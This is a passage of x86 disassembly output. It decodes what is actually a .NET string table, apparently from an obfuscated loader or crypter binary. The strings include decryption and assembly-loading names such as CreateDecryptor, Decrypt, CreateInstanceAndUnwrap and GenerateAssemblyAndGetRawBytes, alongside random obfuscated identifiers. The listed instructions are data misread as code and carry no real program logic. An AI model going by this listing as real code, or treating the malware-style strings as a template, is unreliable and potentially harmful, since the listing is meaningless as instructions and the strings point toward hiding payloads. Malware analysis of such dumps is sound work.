49e5a9:	70 00                	jo     0x49e5ab
49e5ab:	42                   	inc    %edx
49e5ac:	69 74 6d 61 70 00 43 	imul   $0x72430070,0x61(%ebp,%ebp,2),%esi
49e5b3:	72
49e5b4:	65 61                	gs popa
49e5b6:	74 65                	je     0x49e61d
49e5b8:	49                   	dec    %ecx
49e5b9:	6e                   	outsb  %ds:(%esi),(%dx)
49e5ba:	73 74                	jae    0x49e630
49e5bc:	61                   	popa
49e5bd:	6e                   	outsb  %ds:(%esi),(%dx)
49e5be:	63 65 41             	arpl   %esp,0x41(%ebp)
49e5c1:	6e                   	outsb  %ds:(%esi),(%dx)
49e5c2:	64 55                	fs push %ebp
49e5c4:	6e                   	outsb  %ds:(%esi),(%dx)
49e5c5:	77 72                	ja     0x49e639
49e5c7:	61                   	popa
49e5c8:	70 00                	jo     0x49e5ca
49e5ca:	49                   	dec    %ecx
49e5cb:	41                   	inc    %ecx
49e5cc:	70 70                	jo     0x49e63e
49e5ce:	44                   	inc    %esp
49e5cf:	6f                   	outsl  %ds:(%esi),(%dx)
49e5d0:	6d                   	insl   (%dx),%es:(%edi)
49e5d1:	61                   	popa
49e5d2:	69 6e 53 65 74 75 70 	imul   $0x70757465,0x53(%esi),%ebp
49e5d9:	00 53 79             	add    %dl,0x79(%ebx)
49e5dc:	73 74                	jae    0x49e652
49e5de:	65 6d                	gs insl (%dx),%es:(%edi)
49e5e0:	2e 4c                	cs dec %esp
49e5e2:	69 6e 71 00 67 65 74 	imul   $0x74656700,0x71(%esi),%ebp
49e5e9:	5f                   	pop    %edi
49e5ea:	52                   	push   %edx
49e5eb:	65 73 6f             	gs jae 0x49e65d
49e5ee:	75 72                	jne    0x49e662
49e5f0:	63 65 4d             	arpl   %esp,0x4d(%ebp)
49e5f3:	61                   	popa
49e5f4:	6e                   	outsb  %ds:(%esi),(%dx)
49e5f5:	61                   	popa
49e5f6:	67 65 72 00          	addr16 gs jb 0x49e5fa
49e5fa:	53                   	push   %ebx
49e5fb:	79 73                	jns    0x49e670
49e5fd:	74 65                	je     0x49e664
49e5ff:	6d                   	insl   (%dx),%es:(%edi)
49e600:	2e 43                	cs inc %ebx
49e602:	6f                   	outsl  %ds:(%esi),(%dx)
49e603:	64 65 44             	fs gs inc %esp
49e606:	6f                   	outsl  %ds:(%esi),(%dx)
49e607:	6d                   	insl   (%dx),%es:(%edi)
49e608:	2e 43                	cs inc %ebx
49e60a:	6f                   	outsl  %ds:(%esi),(%dx)
49e60b:	6d                   	insl   (%dx),%es:(%edi)
49e60c:	70 69                	jo     0x49e677
49e60e:	6c                   	insb   (%dx),%es:(%edi)
49e60f:	65 72 00             	gs jb  0x49e612
49e612:	42                   	inc    %edx
49e613:	69 74 43 6f 6e 76 65 	imul   $0x7265766e,0x6f(%ebx,%eax,2),%esi
49e61a:	72
49e61b:	74 65                	je     0x49e682
49e61d:	72 00                	jb     0x49e61f
49e61f:	49                   	dec    %ecx
49e620:	6d                   	insl   (%dx),%es:(%edi)
49e621:	70 6f                	jo     0x49e692
49e623:	72 74                	jb     0x49e699
49e625:	61                   	popa
49e626:	6e                   	outsb  %ds:(%esi),(%dx)
49e627:	74 53                	je     0x49e67c
49e629:	74 72                	je     0x49e69d
49e62b:	65 61                	gs popa
49e62d:	6d                   	insl   (%dx),%es:(%edi)
49e62e:	4d                   	dec    %ebp
49e62f:	61                   	popa
49e630:	6e                   	outsb  %ds:(%esi),(%dx)
49e631:	69 70 75 6c 61 74 6f 	imul   $0x6f74616c,0x75(%eax),%esi
49e638:	72 00                	jb     0x49e63a
49e63a:	49                   	dec    %ecx
49e63b:	45                   	inc    %ebp
49e63c:	6e                   	outsb  %ds:(%esi),(%dx)
49e63d:	75 6d                	jne    0x49e6ac
49e63f:	65 72 61             	gs jb  0x49e6a3
49e642:	74 6f                	je     0x49e6b3
49e644:	72 00                	jb     0x49e646
49e646:	47                   	inc    %edi
49e647:	65 74 45             	gs je  0x49e68f
49e64a:	6e                   	outsb  %ds:(%esi),(%dx)
49e64b:	75 6d                	jne    0x49e6ba
49e64d:	65 72 61             	gs jb  0x49e6b1
49e650:	74 6f                	je     0x49e6c1
49e652:	72 00                	jb     0x49e654
49e654:	2e 63 74 6f 72       	arpl   %esi,%cs:0x72(%edi,%ebp,2)
49e659:	00 2e                	add    %ch,(%esi)
49e65b:	63 63 74             	arpl   %esp,0x74(%ebx)
49e65e:	6f                   	outsl  %ds:(%esi),(%dx)
49e65f:	72 00                	jb     0x49e661
49e661:	43                   	inc    %ebx
49e662:	72 65                	jb     0x49e6c9
49e664:	61                   	popa
49e665:	74 65                	je     0x49e6cc
49e667:	44                   	inc    %esp
49e668:	65 63 72 79          	arpl   %esi,%gs:0x79(%edx)
49e66c:	70 74                	jo     0x49e6e2
49e66e:	6f                   	outsl  %ds:(%esi),(%dx)
49e66f:	72 00                	jb     0x49e671
49e671:	49                   	dec    %ecx
49e672:	6e                   	outsb  %ds:(%esi),(%dx)
49e673:	74 50                	je     0x49e6c5
49e675:	74 72                	je     0x49e6e9
49e677:	00 68 6b             	add    %ch,0x6b(%eax)
49e67a:	71 6e                	jno    0x49e6ea
49e67c:	72 79                	jb     0x49e6f7
49e67e:	54                   	push   %esp
49e67f:	7a 64                	jp     0x49e6e5
49e681:	5a                   	pop    %edx
49e682:	70 59                	jo     0x49e6dd
49e684:	45                   	inc    %ebp
49e685:	75 7a                	jne    0x49e701
49e687:	49                   	dec    %ecx
49e688:	73 00                	jae    0x49e68a
49e68a:	4a                   	dec    %edx
49e68b:	66 41                	inc    %cx
49e68d:	41                   	inc    %ecx
49e68e:	42                   	inc    %edx
49e68f:	5a                   	pop    %edx
49e690:	78 68                	js     0x49e6fa
49e692:	6b 44 55 77 70       	imul   $0x70,0x77(%ebp,%edx,2),%eax
49e697:	71 4d                	jno    0x49e6e6
49e699:	67 4e                	addr16 dec %esi
49e69b:	63 73 00             	arpl   %esi,0x0(%ebx)
49e69e:	53                   	push   %ebx
49e69f:	79 73                	jns    0x49e714
49e6a1:	74 65                	je     0x49e708
49e6a3:	6d                   	insl   (%dx),%es:(%edi)
49e6a4:	2e 44                	cs inc %esp
49e6a6:	69 61 67 6e 6f 73 74 	imul   $0x74736f6e,0x67(%ecx),%esp
49e6ad:	69 63 73 00 47 65 74 	imul   $0x74654700,0x73(%ebx),%esp
49e6b4:	4d                   	dec    %ebp
49e6b5:	65 74 68             	gs je  0x49e720
49e6b8:	6f                   	outsl  %ds:(%esi),(%dx)
49e6b9:	64 73 00             	fs jae 0x49e6bc
49e6bc:	53                   	push   %ebx
49e6bd:	79 73                	jns    0x49e732
49e6bf:	74 65                	je     0x49e726
49e6c1:	6d                   	insl   (%dx),%es:(%edi)
49e6c2:	2e 52                	cs push %edx
49e6c4:	75 6e                	jne    0x49e734
49e6c6:	74 69                	je     0x49e731
49e6c8:	6d                   	insl   (%dx),%es:(%edi)
49e6c9:	65 2e 49             	gs cs dec %ecx
49e6cc:	6e                   	outsb  %ds:(%esi),(%dx)
49e6cd:	74 65                	je     0x49e734
49e6cf:	72 6f                	jb     0x49e740
49e6d1:	70 53                	jo     0x49e726
49e6d3:	65 72 76             	gs jb  0x49e74c
49e6d6:	69 63 65 73 00 53 79 	imul   $0x79530073,0x65(%ebx),%esp
49e6dd:	73 74                	jae    0x49e753
49e6df:	65 6d                	gs insl (%dx),%es:(%edi)
49e6e1:	2e 52                	cs push %edx
49e6e3:	75 6e                	jne    0x49e753
49e6e5:	74 69                	je     0x49e750
49e6e7:	6d                   	insl   (%dx),%es:(%edi)
49e6e8:	65 2e 43             	gs cs inc %ebx
49e6eb:	6f                   	outsl  %ds:(%esi),(%dx)
49e6ec:	6d                   	insl   (%dx),%es:(%edi)
49e6ed:	70 69                	jo     0x49e758
49e6ef:	6c                   	insb   (%dx),%es:(%edi)
49e6f0:	65 72 53             	gs jb  0x49e746
49e6f3:	65 72 76             	gs jb  0x49e76c
49e6f6:	69 63 65 73 00 53 79 	imul   $0x79530073,0x65(%ebx),%esp
49e6fd:	73 74                	jae    0x49e773
49e6ff:	65 6d                	gs insl (%dx),%es:(%edi)
49e701:	2e 52                	cs push %edx
49e703:	65 73 6f             	gs jae 0x49e775
49e706:	75 72                	jne    0x49e77a
49e708:	63 65 73             	arpl   %esp,0x73(%ebp)
49e70b:	00 62 64             	add    %ah,0x64(%edx)
49e70e:	62 31                	bound  %esi,(%ecx)
49e710:	34 63                	xor    $0x63,%al
49e712:	39 37                	cmp    %esi,(%edi)
49e714:	36 38 38             	cmp    %bh,%ss:(%eax)
49e717:	32 35 31 36 31 61    	xor    0x61313631,%dh
49e71d:	62 31                	bound  %esi,(%ecx)
49e71f:	65 65 66 31 35 39 66 	gs xor %si,%gs:0x34666639
49e726:	66 34
49e728:	66 32 37             	data16 xor (%edi),%dh
49e72b:	37                   	aaa
49e72c:	2e 52                	cs push %edx
49e72e:	65 73 6f             	gs jae 0x49e7a0
49e731:	75 72                	jne    0x49e7a5
49e733:	63 65 73             	arpl   %esp,0x73(%ebp)
49e736:	2e 72 65             	jb,pn  0x49e79e
49e739:	73 6f                	jae    0x49e7aa
49e73b:	75 72                	jne    0x49e7af
49e73d:	63 65 73             	arpl   %esp,0x73(%ebp)
49e740:	00 77 74             	add    %dh,0x74(%edi)
49e743:	66 2e 50             	cs push %ax
49e746:	72 6f                	jb     0x49e7b7
49e748:	70 65                	jo     0x49e7af
49e74a:	72 74                	jb     0x49e7c0
49e74c:	69 65 73 2e 52 65 73 	imul   $0x7365522e,0x73(%ebp),%esp
49e753:	6f                   	outsl  %ds:(%esi),(%dx)
49e754:	75 72                	jne    0x49e7c8
49e756:	63 65 73             	arpl   %esp,0x73(%ebp)
49e759:	2e 72 65             	jb,pn  0x49e7c1
49e75c:	73 6f                	jae    0x49e7cd
49e75e:	75 72                	jne    0x49e7d2
49e760:	63 65 73             	arpl   %esp,0x73(%ebp)
49e763:	00 77 74             	add    %dh,0x74(%edi)
49e766:	66 2e 50             	cs push %ax
49e769:	72 6f                	jb     0x49e7da
49e76b:	70 65                	jo     0x49e7d2
49e76d:	72 74                	jb     0x49e7e3
49e76f:	69 65 73 00 47 65 74 	imul   $0x74654700,0x73(%ebp),%esp
49e776:	45                   	inc    %ebp
49e777:	78 70                	js     0x49e7e9
49e779:	6f                   	outsl  %ds:(%esi),(%dx)
49e77a:	72 74                	jb     0x49e7f0
49e77c:	65 64 54             	gs fs push %esp
49e77f:	79 70                	jns    0x49e7f1
49e781:	65 73 00             	gs jae 0x49e784
49e784:	53                   	push   %ebx
49e785:	79 73                	jns    0x49e7fa
49e787:	74 65                	je     0x49e7ee
49e789:	6d                   	insl   (%dx),%es:(%edi)
49e78a:	2e 52                	cs push %edx
49e78c:	75 6e                	jne    0x49e7fc
49e78e:	74 69                	je     0x49e7f9
49e790:	6d                   	insl   (%dx),%es:(%edi)
49e791:	65 2e 49             	gs cs dec %ecx
49e794:	6e                   	outsb  %ds:(%esi),(%dx)
49e795:	74 65                	je     0x49e7fc
49e797:	72 6f                	jb     0x49e808
49e799:	70 53                	jo     0x49e7ee
49e79b:	65 72 76             	gs jb  0x49e814
49e79e:	69 63 65 73 2e 43 6f 	imul   $0x6f432e73,0x65(%ebx),%esp
49e7a5:	6d                   	insl   (%dx),%es:(%edi)
49e7a6:	54                   	push   %esp
49e7a7:	79 70                	jns    0x49e819
49e7a9:	65 73 00             	gs jae 0x49e7ac
49e7ac:	47                   	inc    %edi
49e7ad:	65 74 54             	gs je  0x49e804
49e7b0:	79 70                	jns    0x49e822
49e7b2:	65 73 00             	gs jae 0x49e7b5
49e7b5:	64 77 46             	fs ja  0x49e7fe
49e7b8:	69 6c 65 41 74 74 72 	imul   $0x69727474,0x41(%ebp,%eiz,2),%ebp
49e7bf:	69
49e7c0:	62 75 74             	bound  %esi,0x74(%ebp)
49e7c3:	65 73 00             	gs jae 0x49e7c6
49e7c6:	47                   	inc    %edi
49e7c7:	65 74 42             	gs je  0x49e80c
49e7ca:	79 74                	jns    0x49e840
49e7cc:	65 73 00             	gs jae 0x49e7cf
49e7cf:	47                   	inc    %edi
49e7d0:	65 6e                	outsb  %gs:(%esi),(%dx)
49e7d2:	65 72 61             	gs jb  0x49e836
49e7d5:	74 65                	je     0x49e83c
49e7d7:	41                   	inc    %ecx
49e7d8:	73 73                	jae    0x49e84d
49e7da:	65 6d                	gs insl (%dx),%es:(%edi)
49e7dc:	62 6c 79 41          	bound  %ebp,0x41(%ecx,%edi,2)
49e7e0:	6e                   	outsb  %ds:(%esi),(%dx)
49e7e1:	64 47                	fs inc %edi
49e7e3:	65 74 52             	gs je  0x49e838
49e7e6:	61                   	popa
49e7e7:	77 42                	ja     0x49e82b
49e7e9:	79 74                	jns    0x49e85f
49e7eb:	65 73 00             	gs jae 0x49e7ee
49e7ee:	41                   	inc    %ecx
49e7ef:	72 72                	jb     0x49e863
49e7f1:	61                   	popa
49e7f2:	79 42                	jns    0x49e836
49e7f4:	79 74                	jns    0x49e86a
49e7f6:	65 73 00             	gs jae 0x49e7f9
49e7f9:	45                   	inc    %ebp
49e7fa:	71 75                	jno    0x49e871
49e7fc:	61                   	popa
49e7fd:	6c                   	insb   (%dx),%es:(%edi)
49e7fe:	73 00                	jae    0x49e800
49e800:	6d                   	insl   (%dx),%es:(%edi)
49e801:	73 00                	jae    0x49e803
49e803:	53                   	push   %ebx
49e804:	79 73                	jns    0x49e879
49e806:	74 65                	je     0x49e86d
49e808:	6d                   	insl   (%dx),%es:(%edi)
49e809:	2e 43                	cs inc %ebx
49e80b:	6f                   	outsl  %ds:(%esi),(%dx)
49e80c:	6c                   	insb   (%dx),%es:(%edi)
49e80d:	6c                   	insb   (%dx),%es:(%edi)
49e80e:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
49e813:	6e                   	outsb  %ds:(%esi),(%dx)
49e814:	73 00                	jae    0x49e816
49e816:	4d                   	dec    %ebp
49e817:	65 74 68             	gs je  0x49e882
49e81a:	6f                   	outsl  %ds:(%esi),(%dx)
49e81b:	64 49                	fs dec %ecx
49e81d:	6e                   	outsb  %ds:(%esi),(%dx)
49e81e:	66 6f                	outsw  %ds:(%esi),(%dx)
49e820:	73 00                	jae    0x49e822
49e822:	52                   	push   %edx
49e823:	75 6e                	jne    0x49e893
49e825:	74 69                	je     0x49e890
49e827:	6d                   	insl   (%dx),%es:(%edi)
49e828:	65 48                	gs dec %eax
49e82a:	65 6c                	gs insb (%dx),%es:(%edi)
49e82c:	70 65                	jo     0x49e893
49e82e:	72 73                	jb     0x49e8a3
49e830:	00 53 79             	add    %dl,0x79(%ebx)
49e833:	73 74                	jae    0x49e8a9
49e835:	65 6d                	gs insl (%dx),%es:(%edi)
49e837:	2e 44                	cs inc %esp
49e839:	69 61 67 6e 6f 73 74 	imul   $0x74736f6e,0x67(%ecx),%esp
49e840:	69 63 73 2e 43 6f 6e 	imul   $0x6e6f432e,0x73(%ebx),%esp
49e847:	74 72                	je     0x49e8bb
49e849:	61                   	popa
49e84a:	63 74 73 00          	arpl   %esi,0x0(%ebx,%esi,2)
49e84e:	4d                   	dec    %ebp
49e84f:	61                   	popa
49e850:	72 73                	jb     0x49e8c5
49e852:	68 61 6c 42 79       	push   $0x79426c61
49e857:	52                   	push   %edx
49e858:	65 66 4f             	gs dec %di
49e85b:	62 6a 65             	bound  %ebp,0x65(%edx)
49e85e:	63 74 00 47          	arpl   %esi,0x47(%eax,%eax,1)
49e862:	65 74 4f             	gs je  0x49e8b4
49e865:	62 6a 65             	bound  %ebp,0x65(%edx)
49e868:	63 74 00 6f          	arpl   %esi,0x6f(%eax,%eax,1)
49e86c:	62 6a 65             	bound  %ebp,0x65(%edx)
49e86f:	63 74 00 49          	arpl   %esi,0x49(%eax,%eax,1)
49e873:	41                   	inc    %ecx
49e874:	73 79                	jae    0x49e8ef
49e876:	6e                   	outsb  %ds:(%esi),(%dx)
49e877:	63 52 65             	arpl   %edx,0x65(%edx)
49e87a:	73 75                	jae    0x49e8f1
49e87c:	6c                   	insb   (%dx),%es:(%edi)
49e87d:	74 00                	je     0x49e87f
49e87f:	72 65                	jb     0x49e8e6
49e881:	73 75                	jae    0x49e8f8
49e883:	6c                   	insb   (%dx),%es:(%edi)
49e884:	74 00                	je     0x49e886
49e886:	67 65 74 5f          	addr16 gs je 0x49e8e9
49e88a:	43                   	inc    %ebx
49e88b:	75 72                	jne    0x49e8ff
49e88d:	72 65                	jb     0x49e8f4
49e88f:	6e                   	outsb  %ds:(%esi),(%dx)
49e890:	74 00                	je     0x49e892
49e892:	44                   	inc    %esp
49e893:	65 63 72 79          	arpl   %esi,%gs:0x79(%edx)
49e897:	70 74                	jo     0x49e90d
49e899:	00 43 6f             	add    %al,0x6f(%ebx)
49e89c:	6e                   	outsb  %ds:(%esi),(%dx)
49e89d:	76 65                	jbe    0x49e904